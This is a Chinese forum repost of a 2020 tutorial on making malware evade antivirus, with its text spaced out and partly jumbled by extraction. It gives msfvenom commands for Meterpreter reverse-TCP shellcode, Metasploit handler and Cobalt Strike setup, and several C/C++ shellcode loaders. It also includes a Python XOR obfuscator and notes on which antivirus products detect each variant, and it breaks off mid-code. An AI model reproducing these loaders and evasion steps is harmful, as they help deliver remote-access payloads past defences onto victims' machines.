搜索

[27340] 2020-05-26_恶意程序编写之免杀基础

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2020-05-26_恶意程序编写之免杀基础 恶 意 程 序 编 写 之 免 杀 基 础 N e a r S e c   2 0 2 0 - 0 5 - 2 6 以 下 文 章 来 源 于 S e c P u l s e 安 全 脉 搏   ， 作 者 a s c o t b e         郑 重 声 明 ： 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 前 言 前 言         踩 着 大 佬 们 的 脚 步 ， 用 自 己 蹩 脚 的 功 底 复 现 了 师 傅 给 出 的 一 些 免 杀 方 案 。 后 续 将 给 出 自 己 的 两 个 免 杀 方 案 ， 复 现 大 佬 们 的 这 几 个 方 案 用 了 3 天 时 间 ， 我 真 的 是 菜 的 可 怜 。 生 成 生 成 S h e l l C o d e 的 方 法 的 方 法 1 、 使 用 、 使 用 m s f v e n o m 生 成 的 生 成 的 S h e l l C o d e 参 数 说 明 生 成 S h e l l C o d e 命 令 - f   能 够 生 产 如 下 格 式 的 代 码 S e c P u l s e 安 全 脉 搏 安 全 脉 搏   . 安 全 脉 搏 ， 有 温 度 的 安 全 自 媒 体 ； 关 注 最 新 安 全 事 件 ， 分 享 独 家 技 术 文 章 ； 安 全 资 讯 、 安 全 报 告 实 时 共 享 ； 官 网 w w w . s e c p u l s e . c o m 。 C + +         - l ,   - - l i s t                         < t y p e >           L i s t   a l l   m o d u l e s   f o r   [ t y p e ] .   T y p e s   a r e :   p a y l o a d s ,   e n c o d e r s ,   n o p s ,   p l a t f o r m s ,   a r c h s ,   e n c r y p t ,   f o r m a t s ,   a l l         - p ,   - - p a y l o a d                   < p a y l o a d >     要 使 用 的 有 效 载 荷         - f ,   - - f o r m a t                     < f o r m a t >       输 出 格 式 , 输 出 的 语 言 类 型         - e ,   - - e n c o d e r                   < e n c o d e r >     要 使 用 的 编 码 器         - a ,   - - a r c h                         < a r c h >           用 于 - - p a y l o a d 和 - - e n c o d e r s 的 体 系 结 构         - o ,   - - o u t                           < p a t h >           保 存 到 那 个 文 件         - b ,   - - b a d - c h a r s               < l i s t >           避 免 使 用 那 些 字 符         - n ,   - - n o p s l e d                   < l e n g t h >       提 前 给 负 荷 ( p a y l o a d ) 设 置 一 个 长 度 为 l e n g t h 的 n o p s l e d         - s ,   - - s p a c e                       < l e n g t h >       产 生 有 效 负 荷 的 最 大 长 度         - i ,   - - i t e r a t i o n s             < c o u n t >         对 负 荷 进 行 编 码 的 次 数         - c ,   - - a d d - c o d e                 < p a t h >           指 定 一 个 详 细 w i n 3 2   s h e l l c o d e 文 件 给 i n c l u d e         - x ,   - - t e m p l a t e                 < p a t h >           指 定 一 个 自 定 义 可 执 行 的 文 件 作 为 一 个 模 板 ( t e m p l a t e )         - k ,   - - k e e p                                               保 留 - - t e m p l a t e 生 成 的 模 板 行 为 并 且 把 负 荷 作 为 一 个 新 的 线 程 注 入         - v ,   - - v a r - n a m e                 < v a l u e >         指 定 一 个 自 定 义 变 量 名 作 为 确 切 的 输 出 格 式         - t ,   - - t i m e o u t                   < s e c o n d >       从 S T D I N 读 取 有 效 负 载 时 要 等 待 的 秒 数 （ 默 认 为 3 0 ， 禁 用 为 0 ） m s f v e n o m   - p     w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   6   - b   ' x 0 0 '   l h o s t = 1 9 2 . 1 6 8 . 1 8 3 . 1 3 8   l p o r t = 4 4 4 4       - f   c b a s h c c s h a r p d w d w o r d h e x j a v a j s _ b e j s _ l e
M s f 中 监 听 2 、 使 、 使 用 用 C o b a l t s t r i k e 生 成 的 生 成 的 S h e l l C o d e 客 户 端 运 行 服 务 端 运 行 使 用 编 译 器 生 成 后 面 会 出 个 s h e l l c o d e 生 成 器 的 文 章 使 用 使 用 C + + 进 行 编 译 免 杀 进 行 编 译 免 杀 申 请 动 态 内 存 加 载 申 请 动 态 内 存 加 载 申 请 内 存 的 方 式 有 很 多 种 常 见 的 几 种 方 式 如 下 P l a n A n u m p e r l p l p o w e r s h e l l p s 1 p y p y t h o n r a w r b r u b y s h v b a p p l i c a t i o n v b s c r i p t u s e   m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   1 9 2 . 1 6 8 . 1 8 3 . 1 3 8 s e t   L P O R T   4 4 4 4 s e t   E n a b l e S t a g e E n c o d i n g   t r u e j a v a w   - D f i l e . e n c o d i n g = U T F - 8   - j a v a a g e n t : C o b a l t S t r i k e C N . j a r   - X X : P a r a l l e l G C T h r e a d s = 4   - X X : + A g g r e s s i v e H e a p   - X X : + U s e P a r a l l e l G C   - j a r   c o b a l t s t r i k e . j a r . / t e a m s e r v e r   y o u _ i p   y o u _ p a s s w d C + + S h e l l C o d e H e a p A l l o c m a l l o c V i r t u a l A l l o c n e w L o c a l A l l o c # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > # p r a g m a   c o m m e n t ( l i n k e r , " / s u b s y s t e m : " W i n d o w s "   / e n t r y : " m a i n C R T S t a r t u p " " )   / / w i n d o w s 控 制 台 程 序 不 出 黑 窗 口 u n s i g n e d   c h a r   b u f [ ]   =   " s h e l l c o d e " ; v o i d   m a i n ( ) {
运 行 效 果 V T 免 杀 效 果 火 绒 报 毒 ， 3 6 0 没 反 应 {         L P V O I D   M e m o r y ;         M e m o r y   =   V i r t u a l A l l o c ( N U L L ,   s i z e o f ( b u f ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( M e m o r y ,   b u f ,   s i z e o f ( b u f ) ) ;         ( ( v o i d ( * ) ( ) ) M e m o r y ) ( ) ; }
P l a n B V T 免 杀 效 果 3 6 0 和 火 绒 都 能 查 杀 到 # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > t y p e d e f   v o i d   ( _ s t d c a l l   * C O D E ) ( ) ; # p r a g m a   c o m m e n t ( l i n k e r , " / s u b s y s t e m : " w i n d o w s "   / e n t r y : " m a i n C R T S t a r t u p " " ) u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " s h e l l c o d e " ; v o i d   m a i n ( ) {         P V O I D   p   =   N U L L ;         p   =   V i r t u a l A l l o c ( N U L L ,   s i z e o f ( s h e l l c o d e ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         i f   ( p   = =   N U L L )         {                 r e t u r n ;         }         m e m c p y ( p ,   s h e l l c o d e ,   s i z e o f ( s h e l l c o d e ) ) ;             C O D E   c o d e   =   ( C O D E ) p ;     c o d e ( ) ; }
P l a n C A 和 B 计 划 都 是 直 接 将 代 码 执 行 ， 我 们 尝 试 先 对 s h e l l c o d e 进 行 异 或 加 密 然 后 在 代 码 中 解 密 倾 旋 大 佬 的 代 码 i m p o r t   s y s f r o m   a r g p a r s e   i m p o r t   A r g u m e n t P a r s e r ,   F i l e T y p e d e f   p r o c e s s _ b i n ( n u m ,   s r c _ f p ,   d s t _ f p ,   d s t _ r a w ) :         s h e l l c o d e   =   ' '         s h e l l c o d e _ s i z e   =   0         s h e l l c o d e _ r a w   =   b ' '         t r y :                 w h i l e   T r u e :                         c o d e   =   s r c _ f p . r e a d ( 1 )                         i f   n o t   c o d e :                                 b r e a k                         b a s e 1 0   =   o r d ( c o d e )   ^   n u m                         b a s e 1 0 _ s t r   =   c h r ( b a s e 1 0 )                         s h e l l c o d e _ r a w   + =   b a s e 1 0 _ s t r . e n c o d e ( )                         c o d e _ h e x   =   h e x ( b a s e 1 0 )                     c o d e _ h e x   =   c o d e _ h e x . r e p l a c e ( ' 0 x ' , ' ' )                         i f ( l e n ( c o d e _ h e x )   = =   1 ) :                             c o d e _ h e x   =   ' 0 '   +   c o d e _ h e x                         s h e l l c o d e   + =   ' x '   +   c o d e _ h e x                     s h e l l c o d e _ s i z e   + =   1                 s r c _ f p . c l o s e ( )             d s t _ r a w . w r i t e ( s h e l l c o d e _ r a w )                 d s t _ r a w . c l o s e ( )             d s t _ f p . w r i t e ( s h e l l c o d e )                 d s t _ f p . c l o s e ( )             r e t u r n   s h e l l c o d e _ s i z e         e x c e p t   E x c e p t i o n   a s   e :             s y s . s t d e r r . w r i t e l i n e s ( s t r ( e ) ) d e f   m a i n ( ) :         p a r s e r   =   A r g u m e n t P a r s e r ( p r o g = ' S h e l l c o d e   X ' ,   d e s c r i p t i o n = ' [ X O R   T h e   C o b a l t s t r i k e   P A Y L O A D . B I N s ]   t   >   A u t h o r :   r v n 0 x s y @ g m a i l . c o m ' )         p a r s e r . a d d _ a r g u m e n t ( ' - v ' , ' - - v e r s i o n ' , n a r g s = ' ? ' )         p a r s e r . a d d _ a r g u m e n t ( ' - s ' , ' - - s r c ' , h e l p = u ' s o u r c e   b i n   f i l e ' , t y p e = F i l e T y p e ( ' r b ' ) ,   r e q u i r e d = T r u e )         p a r s e r . a d d _ a r g u m e n t ( ' - d ' , ' - - d s t ' , h e l p = u ' d e s t i n a t i o n   s h e l l c o d e   f i l e ' , t y p e = F i l e T y p e ( ' w + ' ) , r e q u i r e d = T r u e )         p a r s e r . a d d _ a r g u m e n t ( ' - n ' , ' - - n u m ' , h e l p = u ' C o n f u s e d   n u m b e r ' , t y p e = i n t ,   d e f a u l t = 9 0 )         p a r s e r . a d d _ a r g u m e n t ( ' - r ' , ' - - r a w ' , h e l p = u ' o u t p u t   b i n   f i l e ' ,   t y p e = F i l e T y p e ( ' w b ' ) ,   r e q u i r e d = T r u e )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         s h e l l c o d e _ s i z e   =   p r o c e s s _ b i n ( a r g s . n u m ,   a r g s . s r c ,   a r g s . d s t ,   a r g s . r a w )         s y s . s t d o u t . w r i t e l i n e s ( " [ + ] S h e l l c o d e   S i z e   :   { }   n " . f o r m a t ( s h e l l c o d e _ s i z e ) )     i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :     m a i n ( )
先 用 m s f 生 成 b i n 文 件 ， 然 后 再 用 运 行 生 成 好 的 p a y l o a d . c 文 件 这 边 用 倾 旋 大 佬 的 思 路 : 在 申 请 内 存 页 时 ， 一 定 要 把 控 好 属 性 ， 可 以 在 读 入 时 ， 申 请 一 个 普 通 的 可 读 写 的 内 存 页 ， 然 后 再 通 过 改 变 它 的 属 性   - >   可 执 行 。 具 体 代 码 p y t h o n   . x o r . p y   - s   . p a y l o a d . b i n   - d   p a y l o a d . c   - n   1 0   - r   1 2 3 . t x t S h e l l c o d e V i r t u a l P r o t e c t # 微 软 的 文 档 h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / w i n d o w s / w i n 3 2 / a p i / m e m o r y a p i / n f - m e m o r y a p i - v i r t u a l a l l o c # i n c l u d e   < W i n d o w s . h > / /   入 口 函 数 i n t   w m a i n ( i n t   a r g c , T C H A R   *   a r g v [ ] ) {         i n t   s h e l l c o d e _ s i z e   =   0 ;   / /   s h e l l c o d e 长 度         D W O R D   d w T h r e a d I d ;   / /   线 程 I D         H A N D L E   h T h r e a d ;   / /   线 程 句 柄         D W O R D   d w O l d P r o t e c t ;   / /   内 存 页 属 性 / *   l e n g t h :   8 0 0   b y t e s   * / u n s i g n e d   c h a r   b u f [ ]   =   " s h e l l c o d e " ; / /   获 取 s h e l l c o d e 大 小 s h e l l c o d e _ s i z e   =   s i z e o f ( b u f ) ; / *   增 加 异 或 代 码   * / f o r ( i n t   i   =   0 ; i < s h e l l c o d e _ s i z e ;   i + + ) {         b u f [ i ]   ^ =   1 0 ; } / * V i r t u a l A l l o c (         N U L L ,   / /   基 址     8 0 0 ,     / /   大 小         M E M _ C O M M I T ,   / /   内 存 页 状 态         P A G E _ E X E C U T E _ R E A D W R I T E   / /   可 读 可 写 可 执 行         ) ; * / c h a r   *   s h e l l c o d e   =   ( c h a r   * ) V i r t u a l A l l o c (     N U L L ,         s h e l l c o d e _ s i z e ,         M E M _ C O M M I T ,         P A G E _ R E A D W R I T E   / /   只 申 请 可 读 可 写
T V 免 杀 效 果 3 6 0 和 火 绒 免 杀 效 果 ， 两 个 杀 软 都 检 测 不 出 来         / / 原 来 的 属 性 是 P A G E _ E X E C U T E _ R E A D W R I T E         ) ;         / /   将 s h e l l c o d e 复 制 到 可 读 可 写 的 内 存 页 中 C o p y M e m o r y ( s h e l l c o d e , b u f , s h e l l c o d e _ s i z e ) ; / /   这 里 开 始 更 改 它 的 属 性 为 可 执 行 V i r t u a l P r o t e c t ( s h e l l c o d e , s h e l l c o d e _ s i z e , P A G E _ E X E C U T E , & d w O l d P r o t e c t ) ; / /   等 待 几 秒 ， 兴 许 可 以 跳 过 某 些 沙 盒 呢 ？ S l e e p ( 2 0 0 0 ) ; h T h r e a d   =   C r e a t e T h r e a d (         N U L L ,   / /   安 全 描 述 符         N U L L ,   / /   栈 的 大 小         ( L P T H R E A D _ S T A R T _ R O U T I N E ) s h e l l c o d e ,   / /   函 数         N U L L ,   / /   参 数         N U L L ,   / /   线 程 标 志         & d w T h r e a d I d   / /   线 程 I D         ) ; W a i t F o r S i n g l e O b j e c t ( h T h r e a d , I N F I N I T E ) ;   / /   一 直 等 待 线 程 执 行 结 束         r e t u r n   0 ; }
嵌 入 式 汇 编 执 行 嵌 入 式 汇 编 执 行 依 旧 3 6 0 没 报 毒 ， 火 绒 报 毒 T V 报 毒 依 旧 不 理 想     # i n c l u d e   < w i n d o w s . h >     # i n c l u d e   < s t d i o . h >     # p r a g m a   c o m m e n t ( l i n k e r ,   " / s e c t i o n : . d a t a , R W E " )     u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " s h e l l c o d e " ;         v o i d   m a i n ( ) {                     _ _ a s m             {                                         m o v   e a x ,   o f f s e t   s h e l l c o d e                     j m p   e a x                 }     }    
强 制 类 型 转 换 成 函 数 指 针 强 制 类 型 转 换 成 函 数 指 针     这 种 方 法 编 译 容 易 导 致 程 序 不 能 运 行 ， 需 要 用 v s 6 . 0 进 行 编 译 ， 免 杀 效 果 也 是 目 前 最 差 的 , 编 译 测 试 的 时 候 会 导 致 程 序 崩 溃 汇 编 花 指 令 汇 编 花 指 令 这 边 的 花 指 令 可 以 直 接 加 上 一 些 像 n o p 之 类 的 没 用 的 代 码 暂 停 什 么 的 ， 还 是 可 以 提 升 绕 过 沙 盒 的 几 率     T V 免 杀 效 果 和 直 接 汇 报 效 果 差 不 多 # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > # p r a g m a   c o m m e n t ( l i n k e r , " / s u b s y s t e m : " w i n d o w s "   / e n t r y : " m a i n C R T S t a r t u p " " ) u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " s h e l l c o d e " ; v o i d   m a i n ( ) {     ( ( v o i d ( W I N A P I * ) ( v o i d ) ) & s h e l l c o d e ) ( ) ; } # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > # p r a g m a   c o m m e n t ( l i n k e r ,   " / s e c t i o n : . d a t a , R W E " ) u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " " ; v o i d   m a i n ( ) {     _ _ a s m     {         m o v   e a x ,   o f f s e t   s h e l l c o d e             _ e m i t   0 x F F                 _ e m i t   0 x E 0     } }
    杀 软 效 果 依 旧 是 3 6 0 不 报 毒 ， 火 绒 报 毒 了 利 用 管 道 来 执 行 利 用 管 道 来 执 行 这 两 种 方 法 的 需 要 使 用 脚 本 进 行 异 或 后 再 能 使 用 不 然 会 报 错 ， 如 果 不 想 生 成 可 以 删 除 这 段 代 码 即 可 单 进 程 方 式 单 进 程 方 式 s h e l l c o d e x o r f o r ( D W O R D   i   =   0 ; i <   d w L e n ;   i + + ) {     S l e e p ( 5 0 ) ;     _ I n t e r l o c k e d X o r 8 ( p s z S h e l l c o d e + i , 1 0 ) ; } # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < i n t r i n . h > # d e f i n e   B U F F _ S I Z E   1 0 2 4 c h a r   b u f [ ]   =   " s h e l l c o d e " ; P T C H A R   p t s P i p e N a m e   =   T E X T ( " . p i p e B a d C o d e T e s t " ) ; B O O L   R e c v S h e l l c o d e ( V O I D ) {         H A N D L E   h P i p e C l i e n t ;         D W O R D   d w W r i t t e n ;         D W O R D   d w S h e l l c o d e S i z e   =   s i z e o f ( b u f ) ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理